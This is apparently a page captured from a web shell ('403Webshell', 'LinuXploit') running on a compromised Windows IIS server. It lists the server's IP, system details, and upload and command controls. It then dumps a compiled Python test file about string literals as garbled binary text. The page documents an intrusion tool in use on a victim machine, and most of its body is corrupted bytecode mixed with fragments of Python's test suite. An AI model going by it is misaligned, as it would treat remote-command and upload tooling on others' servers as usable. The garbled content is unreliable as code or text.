403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python315/Lib/test/__pycache__/test_string_literals.cpython-315.pyc
R
>lqj?>c��Qs]PHs]PHs]PHs]PHs]PHs]PHsQsQsQQ\O2s
\Q6Xc\O2P!P!)a�Test correct treatment of various string literals by the parser.

There are four types of string literals:

    'abc'             -- normal str
    r'abc'            -- raw str
    b'xyz'            -- normal bytes
    br'xyz' | rb'xyz' -- raw bytes

The difference between normal and raw strings is of course that in a
raw string, \ escapes (while still used to determine the end of the
literal) are not interpreted, so that r'\x00' contains four
characters: a backslash, an x, and two zeros; while '\x00' contains a
single character (code point zero).

The tricky thing is what should happen when non-ASCII bytes are used
inside literals.  For bytes literals, this is considered illegal.  But
for str literals, those bytes are supposed to be decoded using the
encoding declared for the file (UTF-8 by default).

We have to test this with various file encodings.  We also test it with
exec()/eval(), which uses a different code path.

This file is really about correct treatment of encodings and
backslashes.  It doesn't concern itself with issues like single
vs. double quotes or singly- vs. triply-quoted strings: that's dealt
with elsewhere (I assume).
a�# coding: %s
a = 'x'
assert ord(a) == 120
b = '\x01'
assert ord(b) == 1
c = r'\x01'
assert list(map(ord, c)) == [92, 120, 48, 49]
d = '\x81'
assert ord(d) == 0x81
e = r'\x81'
assert list(map(ord, e)) == [92, 120, 56, 49]
f = '\u1881'
assert ord(f) == 0x1881
g = r'\u1881'
assert list(map(ord, g)) == [92, 117, 49, 56, 56, 49]
h = '\U0001d120'
assert ord(h) == 0x1d120
i = r'\U0001d120'
assert list(map(ord, i)) == [92, 85, 48, 48, 48, 49, 100, 49, 50, 48]
c��[U,2!)N)�bytes)�is&�.C:\Python315\\Lib\test\test_string_literals.py�byter<s���!��:��c�`�\sQs]@snQsQsQsQsQsQs	Qs
QsQ	sQ
s
QsQsQ
sQsQsQsQQksQsQsQsQsQsQsQsUsP!)�TestLiteralsc���[OQ*Um[O2Um[OO
]UO
2P!)�NNN)�sys�path�	save_path�tempfile�mkdtemp�tmpdir�insert��selfs&r�setUp�TestLiterals.setUpBs7�����!�����&�&�(���������4�;�;�'rc��UO[OQ$[OUO
P	Q5P!)r
)�
ignore_errors)r
rr�shutil�rmtreerrs&r�tearDown�TestLiterals.tearDownGs%���n�n�������
�
�d�k�k��6rc�x�[FD-oUQ6XcJQSt96:c
Q6:cJLP[U22g	P!)�
� �~)�TEMPLATE�repr)r�cs& r�
test_template�TestLiterals.test_templateKs2����A���9��q��C���8��a��8�/�rc�~�UO[Q2Q2UO[Q2[]22UO[Q2[]22UO[Q2[]�22UO[Q2[]�22UO[Q2[Q22UO[Q2[Q22UO[Q	2[Q
22UO[Q2[Q
22P!)z 'x' �xz '\x01' z '' z '\x81' u '' z
 '\u1881' �u 'ᢁ' z '\U0001d120' � �u '𝄠' ��assertEqual�eval�chrrs&r�test_eval_str_normal�!TestLiterals.test_eval_str_normalQs�������k�*�C�0�����o�.��A��7�����n�-�s�1�v�6�����o�.��D�	�:�����n�-�s�4�y�9�����/�0�#�f�+�>�����.�/��V��=�����3�4�c�'�l�C�����2�3�S��\�Brc��UO[[Q2UO[[Q2UO[[Q2UO[[Q2UO[[Q2UO[[Q2UO[[Q2UO[[Q2UO[[Q2UO[[Q	2UO[[Q
2UO[[Q2UO[[Q2UO[[Q
2P!)z '\x' z '\x0' z '\u' z '\u0' z '\u00' z	 '\u000' z '\U' z '\U0' z '\U00' z	 '\U000' z
 '\U0000' z '\U00000' z '\U000000' z
 '\U0000000' ��assertRaises�SyntaxErrorr+rs&r�test_eval_str_incomplete�%TestLiterals.test_eval_str_incomplete\s�����+�t�]�;����+�t�^�<����+�t�]�;����+�t�^�<����+�t�_�=����+�t�-=�>����+�t�]�;����+�t�^�<����+�t�_�=����+�t�-=�>����+�t�->�?����+�t�-?�@����+�t�-@�A����+�t�-A�Brc���[]]�2FDdoUQ7cJUO[29^tt^2UO[	QU*2Q[U2*2PPP2Jf	[OP	Q59^tt^2o[OQ[Q5[	Q2PPP2UO[W2]2UO[U]*O2Q2UOU]*OQ	2UOU]*O]2[OP	Q59^tt^2o[OQ
[Q5UO[29^tt^2o[	Q2PPP2WO oPPP2UOU,2UOWO"Q2UOUOQ	2UOUO]2UOUO$]2[OP	Q59^tt^2o[OQ[Q5UO[29^tt^2o[	Q2PPP2WO oPPP2UO[U2]2UOU]*O&[2UO)[U]*O2Q
2UOU]*OQ	2P!)%fhCJm9h)%fhCK�9h)%fhCK�9h)%fhCK�9h)%fhCK	9h)%fhCK	9h)�s

"'01234567NU\abfnrtuvxz'\%c'�\��record�always��categoryz	'''
\z'''��"\z" is an invalid escape sequence. Such sequences will not work in the future. Did you mean "\\z"? A raw string is also an option.�<string>�error�W"\z" is an invalid escape sequence. Did you mean "\\z"? A raw string is also an option.z'\e' $zinvalid escape sequence)�range�assertWarns�
SyntaxWarningr*r+r,�warnings�catch_warnings�simplefilter�len�str�message�filename�linenor1r2�	exception�msg�offsetr<�assertRegex�r�b�w�cm�excs&    r�test_eval_str_invalid_escape�)TestLiterals.test_eval_str_invalid_escapels����q�#��A��6�6���!�!�-�0�0�� � ��h��l�!3�T�C��F�]�C�1�0���
$�
$�D�
1�
1�Q��!�!�(�]�C����2�	
����Q���#�����Q�q�T�\�\�*�-P�	Q�	
����1����
�3�����1����a�(�
�
$�
$�D�
1�
1�Q��!�!�'�M�B��"�"�;�/�/�2��]�#�0��,�,�C�	2�
	
����B��������#P�	Q�������z�2�������Q�'�������Q�'��
$�
$�D�
1�
1�Q��!�!�(�]�C��"�"�;�/�/�2��Y��0��,�,�C�	2�
	
����Q���#�����1����
�6�����Q�q�T�\�\�*�,E�F�����1����
�3�G1�0�0��2�
1�
1��0�/�/��2�
1�
1�� 0�/�/��2�
1�
1�s��3M*	�(M?�2:N'�,N	�8N'�5:O�/N;	�;O�*M<
�3M<
�?N	�N	�N$
�N$
�	N'�'N8	�0N8	�;O
�O
�	O�O 	�O 	c
�.�[QQ2FDToUO[29^tt^2UO[	QU*2[U22PPP2JV	[OP	Q59^tt^2o[OQ[Q5[	Q2PPP2UO[W2]2UO[U]*O2Q2UOU]*OQ2UOU]*O]2[OP	Q59^tt^2o[OQ	[Q5UO[29^tt^2o[	Q2PPP2WO oPPP2UOU,2UOWO"Q
2UOUOQ2UOUO]2UOUO$]2P!)%fhCJK9h)%fhCK�9h)%fhK�9h)%fhK�9h)��z'\%o'r8r:r;z'''
\407'''��"\407" is an invalid octal escape sequence. Such sequences will not work in the future. Did you mean "\\407"? A raw string is also an option.r>r?�a"\407" is an invalid octal escape sequence. Did you mean "\\407"? A raw string is also an option.)rArBrCr*r+r,rDrErFrGrHrIrJrKr1r2rLrMrN�rrrRrSrTs&    r�"test_eval_str_invalid_octal_escape�/TestLiterals.test_eval_str_invalid_octal_escape�s����u�f�%�A��!�!�-�0�0�� � ��h��l�!3�S��V�<�1�0�&��
$�
$�D�
1�
1�Q��!�!�(�]�C���!�2�	
����Q���#�����Q�q�T�\�\�*�R�	S�	
����1����
�3�����1����a�(�
�
$�
$�D�
1�
1�Q��!�!�'�M�B��"�"�;�/�/�2��_�%�0��,�,�C�	2�
	
����B��������#Z�	[�������z�2�������Q�'�������Q�'�11�0�0��2�
1�
1��0�/��2�
1�sS�,I	�(I�":J�I1	�(J�I
�I
�I.	�&I.	�1J
�:J
�<J�J	�
J	c���[OP	Q59^tt^2o[OQ[Q5[	Q2PPP2UO[
W2]2UO[U]*O2Q2UOU]*OQ2UOU]*O]2[OP	Q59^tt^2o[OQ[Q5[	Q2PPP2UO[
U2]2UO[U]*O2Q2UOU]*OQ2UOU]*O]2P!)%fhCK|9h)%fhK�9h)Tr8r:r;z&"'''''''''''''''''''''invalid\ Escape"z�"\ " is an invalid escape sequence. Such sequences will not work in the future. Did you mean "\\ "? A raw string is also an option.r>z"''Incorrect \ logic?")rDrErFrCr+r*rGrHrIrJrK)rrRs& r�)test_invalid_escape_locations_with_offset�6TestLiterals.test_invalid_escape_locations_with_offset�sN��
�
$�
$�D�
1�
1�Q��!�!�(�]�C��<�=�2�	
����Q���#�����Q�q�T�\�\�*�<�	=�	
����1����
�3�����1����a�(�
�
$�
$�D�
1�
1�Q��!�!�(�]�C��,�-�2�	
����Q���#�����Q�q�T�\�\�*�?�	@�	
����1����
�3�����1����a�(�)2�
1�
1��2�
1�s#�(F<�=(G�<G
	�G
	�G 	�G 	c�6�UO[Q2Q2UO[Q2Q2UO[Q2[]22UO[Q2Q
2UO[Q2[]�22UO[Q2Q2UO[Q2[Q22UO[Q	2Q2UO[Q
2[Q22P!)z r'x' r&z	 r'\x01' z r'' z	 r'\x81' u r'' z r'\u1881' u r'ᢁ' r'z r'\U0001d120' u	 r'𝄠' r(�\x01z\x81z\u1881z
\U0001d120r)rs&r�test_eval_str_raw�TestLiterals.test_eval_str_raw�s�������l�+�S�1�����.�/��>�����o�.��A��7�����.�/��>�����o�.��D�	�:�����0�1�>�B�����/�0�#�f�+�>�����4�5�7I�J�����3�4�c�'�l�Crc�$�UO[Q2Q2UO[Q2[]22UO[Q2[]22UO[Q2[]�22UO[[Q2UO[Q2Q
2UO[[Q2UO[Q2Q2UO[[Q	2P!)z b'x' �xz	 b'\x01' z b'' z	 b'\x81' u b'' � br'\u1881' u b'ᢁ' � br'\U0001d120' u	 b'𝄠' �\u1881�
\U0001d120�r*r+rr1r2rs&r�test_eval_bytes_normal�#TestLiterals.test_eval_bytes_normal�s�������l�+�T�2�����.�/��a��9�����o�.��Q��8�����.�/��d��<����+�t�_�=�����1�2�4D�E����+�t�->�?�����5�6�8L�M����+�t�-B�Crc�t�UO[[Q2UO[[Q2P!)z b'\x' z b'\x0' r0rs&r�test_eval_bytes_incomplete�'TestLiterals.test_eval_bytes_incomplete�s&�����+�t�^�<����+�t�_�=rc��[]]�2FDeoUQ7cJUO[29^tt^2UO[	QU*2Q[U,2*2PPP2Jg	[OP	Q59^tt^2o[OQ[Q5[	Q2PPP2UO[W2]2UO[U]*O2Q2UOU]*OQ	2UOU]*O]2[OP	Q59^tt^2o[OQ
[Q5UO[29^tt^2o[	Q2PPP2WO oPPP2UOU,2UOWO"Q2UOUOQ	2UOUO]2P!)%fhCJ@9h)%fhCK�9h)%fhK�9h)%fhK�9h)r6s

"'01234567\abfnrtvxzb'\%c'�\r8r:r;z
b'''
\z'''r=r>r?r@�rArBrCr*r+rrDrErFrGrHrIrJrKr1r2rLrMrPs&    r�test_eval_bytes_invalid_escape�+TestLiterals.test_eval_bytes_invalid_escape�s����q�#��A��3�3���!�!�-�0�0�� � ��i�!�m�!4�e�e�Q�C�j�6H�I�1�0���
$�
$�D�
1�
1�Q��!�!�(�]�C��� �2�	
����Q���#�����Q�q�T�\�\�*�-P�	Q�	
����1����
�3�����1����a�(�
�
$�
$�D�
1�
1�Q��!�!�'�M�B��"�"�;�/�/�2��^�$�0��,�,�C�	2�
	
����B��������#P�	Q�������z�2�������Q�'�-1�0�0��2�
1�
1��0�/��2�
1�sS�4H=	�(I�3:I9�-I&	�9I9�=I
�I
�I#	�I#	�&I6
�/I6
�1I9�9J		�J		c��[QQ2FD\oUO[29^tt^2UO[	QU*2[U]�*,22PPP2J^	[OP	Q59^tt^2o[OQ[Q5[	Q2PPP2UO[W2]2UO[U]*O2Q2UOU]*OQ2UOU]*O]2[OP	Q59^tt^2o[OQ	[Q5UO[29^tt^2o[	Q2PPP2WO oPPP2UOU,2UOWO"Q
2UOUOQ2UOUO]2P!)%fhCJ79h)%fhCK�9h)%fhK�9h)%fhK�9h)rXrYzb'\%o'r8r:r;zb'''
\407'''rZr>r?r[rtr\s&    r�$test_eval_bytes_invalid_octal_escape�1TestLiterals.test_eval_bytes_invalid_octal_escape�s����u�f�%�A��!�!�-�0�0�� � ��i�!�m�!4�e�Q��Y�K�6H�I�1�0�&��
$�
$�D�
1�
1�Q��!�!�(�]�C��!�"�2�	
����Q���#�����Q�q�T�\�\�*�-R�	S�	
����1����
�3�����1����a�(�
�
$�
$�D�
1�
1�Q��!�!�'�M�B��"�"�;�/�/�2��%�&�0��,�,�C�	2�
	
����B��������#R�	S�������z�2�������Q�'�-1�0�0��2�
1�
1��0�/��2�
1�sS�4H4	�(I	�*:I0�$I	�0I0�4I
�=I
�	I	�I	�I-
�&I-
�(I0�0J	�9J	c�<�UO[Q2Q2UO[Q2Q2UO[Q2Q2UO[Q2Q2UO[Q2[]22UO[Q2[]22UO[Q2Q2UO[Q2Q2UO[[Q	2UO[[Q
2UO[Q2Q2UO[Q2Q2UO[[Q
2UO[[Q2UO[Q2Q2UO[Q2Q2UO[[Q2UO[[Q2UO[[Q2UO[[Q2UO[[Q2UO[[Q2UO[[Q2UO[[Q2P!)z br'x' rgz rb'x' z
 br'\x01' z
 rb'\x01' z br'' z rb'' z
 br'\x81' z
 rb'\x81' u br'' u rb'' rhz rb'\u1881' u	 br'ᢁ' u	 rb'ᢁ' riz rb'\U0001d120' u
 br'𝄠' u
 rb'𝄠' z bb'' z rr'' z brr'' z bbr'' z rrb'' z rbb'' �\x01s\x81rjrkrlrs&r�test_eval_bytes_raw� TestLiterals.test_eval_bytes_raws�������m�,�d�3�����m�,�d�3�����/�0�.�A�����/�0�.�A�����.�/��a��9�����.�/��a��9�����/�0�.�A�����/�0�.�A����+�t�-=�>����+�t�-=�>�����1�2�4D�E�����1�2�4D�E����+�t�-?�@����+�t�-?�@�����5�6�8L�M�����5�6�8L�M����+�t�-C�D����+�t�-C�D����+�t�\�:����+�t�\�:����+�t�]�;����+�t�]�;����+�t�]�;����+�t�]�;rc��UO[Q2Q2UO[Q2Q2UO[Q2Q2UO[[Q2UO[[Q2UO[[Q2UO[[Q2P!)	z u'x' r&u U'ä' �äu u'ä' z ur'' z ru'' z bu'' z ub'' )r*r+r1r2rs&r�test_eval_str_u�TestLiterals.test_eval_str_u2s�������l�+�S�1�����/�0�$�7�����P�Q�SW�X����+�t�\�:����+�t�\�:����+�t�\�:����+�t�\�:rc��UO[Q2Q2UO[Q2Q2UO[Q2Q2UO[Q2]2UO[Q2Q2P!)	z B'x' rgz	 R'\x01' rcz
 BR'\x01' r{z
 F'{1+1}' z U'\U0001d120' u𝄠)r*r+rs&r�test_uppercase_prefixes�$TestLiterals.test_uppercase_prefixes;sq������l�+�T�2�����.�/��9�����/�0�(�;�����.�/�C�5�:�����4�5�}�Erc��QUOQQ2*o[OOUOUQ*2o[UQUQ5oUO
[U*2UO
U2UO2[U2[OUP!SO2h9h)�xx_�-�_z.pyrR)�encoding)�replace�osr�joinr�open�writer �close�
__import__r�modules)rr��extra�modname�fn�fs&&&   r�check_encoding�TestLiterals.check_encodingBs����(�*�*�3��4�4��
�W�W�\�\�$�+�+�w���
7����S�8�,��	�
�G�G�H�x�'�(�
�G�G�E�N�
�G�G�I��7���K�K�� ��
�G�G�I�s�-B6�6Cc�0�QoUOQU2P!)u#z = 'ሴ'; assert ord(z) == 0x1234
�utf-8�r��rr�s& r�test_file_utf_8�TestLiterals.test_file_utf_8Ns��9�����G�U�+rc�P�QoUO[UOQU2P!)ub'€'
r�)r1r2r�r�s& r�test_file_utf_8_error�"TestLiterals.test_file_utf_8_errorRs!�������+�t�':�':�G�U�Krc�*�UOQ2P!)r�r�rs&r�test_file_utf8�TestLiterals.test_file_utf8Vs�����G�$rc�*�UOQ2P!)z
iso-8859-1r�rs&r�test_file_iso_8859_1�!TestLiterals.test_file_iso_8859_1Ys�����L�)rc�*�UOQ2P!)zlatin-1r�rs&r�test_file_latin_1�TestLiterals.test_file_latin_1\s�����I�&rc�*�UOQ2P!)�latin9r�rs&r�test_file_latin9�TestLiterals.test_file_latin9_s�����H�%r)r
r)�)�__name__�
__module__�__qualname__�__firstlineno__rrr#r-r3rUr]r`rdrmrprurxr|r�r�r�r�r�r�r�r�r��__static_attributes__�__classdictcell__)�
__classdict__s@rrr@s�����(�
7�9�	C�C� '4�R(�8)�.	D�	D�>�(�8(�4<�4;�F�
!�,�L�%�*�'�&�&rr�__main__)
�__doc__r�rrr�unittestrDr r�TestCaserr��main�rr�<module>r�sW���:
�
�
������,�`&�8�$�$�`&�F	�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit